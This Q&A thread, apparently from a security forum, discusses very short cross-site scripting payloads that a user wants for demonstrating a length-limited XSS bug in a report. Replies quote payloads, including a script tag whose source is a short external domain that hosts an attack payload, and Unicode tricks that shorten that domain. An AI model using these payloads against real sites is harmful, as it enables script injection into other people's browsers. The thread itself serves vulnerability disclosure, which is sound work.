2

I found an XSS Vulnerability on a large site, and I want to report it, but the only limit to the vulnerability is that it only allows 15 characters maximum. This obviously has limits to what payloads you can run.

Does anybody know some interesting payloads that are 15 characters or less and demonstrate the vulnerability to report it?

Improve this question
4
  • 1
    i use alert(666) a lot. something like open("//ab.cd") can be made bad. if you have an upload vuln, location=/bad/ can be used to run more code.
    – dandavis
    Commented Dec 22, 2016 at 3:34
  • @dandavis thanks, but alert(666) alone doesn't run, and I can't fit <script> or javascript
    – Jack
    Commented Dec 22, 2016 at 3:47
  • 1
    ah, well with including script tags, then i would think 15 chars is too little as <script></script> is 17 chars, and <b onclick=> leaves only 3 chars of attack; not enough.
    – dandavis
    Commented Dec 22, 2016 at 3:50
  • fwiw, i couldn't think of much to do even with 15 chars of JS. 3-8 chars is likely harmless since quotes or parens would use up 2 of those, leaving 1-6 chars. i'd look into it more if the questioned weren't closed...
    – dandavis
    Commented Dec 22, 2016 at 4:06

1 Answer 1

Reset to default
2

Brutelogic wrote a brilliant article about this at http://brutelogic.com.br/blog/shortest-reflected-xss-possible/ some time ago.

One of the ideas from the article (paraphrased):

.. It’s possible to have an URL parameter echoed in a source of a script:

<script src=“INPUT”></script>

We can use this to launch a full XSS attack providing a source with a short domain like //14.rs (7 chars length). A variation decreases the injection to just 5 chars if double slashes are already in native code:

<script src=“//INPUT”></script>

# <script src=“//14.rs”></script>

Improve this answer
4
  • 1
    <base href=//0> doesn't go anywhere, so i'm not sure it counts without a few more chars, and it will only work reflected, which is easy to detect...
    – dandavis
    Commented Dec 22, 2016 at 3:55
  • Could you outline the key points of the article in your answer?
    – Arminius
    Commented Dec 22, 2016 at 4:50
  • Arminius - absolutely. Gimme a minute.
    – thel3l
    Commented Dec 22, 2016 at 4:52
  • replace "//.14.rs" with "//⒕₨" if exploiting older browsers. Use "//14.₨" for newer browsers (6 characters long). UNICODE matters. A shorter domain is possible, but I don't know of any other publicly availible ones that host an XSS payload.
    – ItsIgnacioPortal
    Commented Jan 6, 2022 at 4:34

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .